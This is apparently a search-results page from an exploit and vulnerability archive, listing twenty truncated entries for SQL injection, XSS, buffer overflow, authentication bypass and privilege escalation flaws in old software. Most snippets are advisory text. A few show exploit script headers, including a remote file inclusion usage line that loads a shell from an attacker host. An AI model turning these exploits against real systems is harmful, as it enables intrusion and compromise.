6174 matches found
Sharetronix 3.3 - Multiple Vulnerabilities
No description provided by source. Advisory ID: HTB23214 Product: Sharetronix Vendor: Blogtronix, LLC Vulnerable Versions: 3.3 and probably prior Tested Version: 3.3 Advisory Publication: May 7, 2014 without technical details Vendor Notification: May 7, 2014 Vendor Patch: May 27, 2014 Public...
AFFCommerce Shopping Cart 1.1.4 SubCategory.php cl Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/15545/info AFFCommerce Shopping Cart is prone to multiple SQL injection vulnerabilities. These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query...
E-Vendejo 0.2 Articles.PHP SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/26330/info E-Vendejo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the...
CodetoSell ViArt Shop Enterprise 2.1.6 page.php page Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/13462/info ViArt Shop is affected by multiple cross-site scripting and HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in...
Dating Agent 4.7.1 - Multiple Input Validation Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/18607/info Dating Agent is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly...
Zinf 2.2.1 - Local Buffer Overflow Exploit
No description provided by source. / -------------------------------Advisory---------------------------------- Luigi Auriemma aluigiaaaattttttautisticiD000torg I don't know why this bug has not been tracked but moreover I don't completely know why it has not been fixed yet in the Windows version ...
Sitecore Staging Module 5.4.0 - Authentication bypass and File Manipulation
No description provided by source. SEC Consult Security Advisory 20091217-0 ========================================================================== title: Authentication bypass and file manipulation in Sitecore Staging Module products: Sitecore Staging Module vulnerable version: Sitecore Stagi...
McAfee ePolicy Orchestrator / ProtectionPilot Overflow
No description provided by source. $Id: mcafeeepolicysource.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and term...
MP3 Workstation 9.2.1.1.2 - SEH exploit
No description provided by source. MP3 Workstation Version 9.2.1.1.2 SEH exploit Author Sanjeev Gupta san.gupta86atgmail.com Download Vulnerable application from http://www.e-soft.co.uk/MP3%20Workstation.htm Vulnerable version MP3 Workstation Version 9.2.1.1.2 Tested on XP SP2 Greets Puneet Jain ...
Zikula Application Framework 1.2.2 ZLanguage.php lang Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/39717/info Zikula Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code i...
ASPPortal <= 3.1.1 (downloadid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=21 Usage: aspp.pl host path user use IO::Socket; use Math::BigInt; if@ARGV != 3 usage;...
OSCommerce 2.2 Authentication Bypass Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/7357/info osCommerce has been reported prone to authentication bypass vulnerability. It has been reported that osCommerce uses HTTP header information as a part of its authentication mechanism. Reportedly an attacker may...
LionMax Software WWW File Share Pro 2.4/2.6 - Remote Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/9398/info It has been reported that WWW File Share Pro HTTP server may be prone to a remote denial of service condition. Successful exploitation of this vulnerability may allow a remote attacker to cause the vulnerable...
FTPGetter 3.58.0.21 - Buffer Overflow (PASV) Exploit
No description provided by source. !/usr/bin/python Exploit Title: FTPGetter v3.58.0.21 Buffer Overflow PASV Exploit Date: 02/03/2011 Author: modpr0be Software Link: http://www.ftpgetter.com/ftpgettersetup.exe Vulnerable version: = 3.58.0.21 Tested on: Windows XP SP3 VMware Player 3.1.3...
Habari Blog Multiple Vulnerabilities
No description provided by source. Vulnerability ID: HTB22732 Reference: http://www.htbridge.ch/advisory/pathdisclosureinhabari.html Product: Habari Vendor: Habari http://habariproject.org/en/ Vulnerable Version: 0.6.5 Vendor Notification: 02 December 2010 Vulnerability Type: Path disclosure...
ContentKeeper Web Appliance < 125.10 Command Execution
No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require...
Tycoon CMS Record Script 1.0.9 - SQL Injection Vulnerability
No description provided by source. % TycoonCMS Record Script Sql vulnerability ------------------------------------------------------------------------------- 0 | | | | | | TM 1 | | | | | | 0 | / | ' \ / | ' \ / |/ | |/ / \ '| ' \ / \ | 1 / / | | | | / | | | | | | | / | | | | | / | 0 //|| |||...
Olate Download 3.4.1 Admin.PHP Remote Authentication Bypass Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/25343/info Olate Download is prone to an authentication-bypass vulnerability. An attacker can exploit this issue to gain administrative access to the affected application. Successfully exploiting this issue will result in...
Jetbox CMS <= 2.1 (relative_script_path) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://jetbox.streamedge.com/ The file...
X.Org xorg-x11-xfs <= 1.0.2-3.1 - Local Race Condition Exploit
No description provided by source. !/bin/sh Xorg-x11-xfs Race Condition Vuln local root exploit CVE-2007-3103 Another lame xploit by vl4dZ : works on redhat el5 and before $ id uid=1001kecos gid=1001user groups=1001user $ sh xfs-RaceCondition-root-exploit.sh Generate large data file in...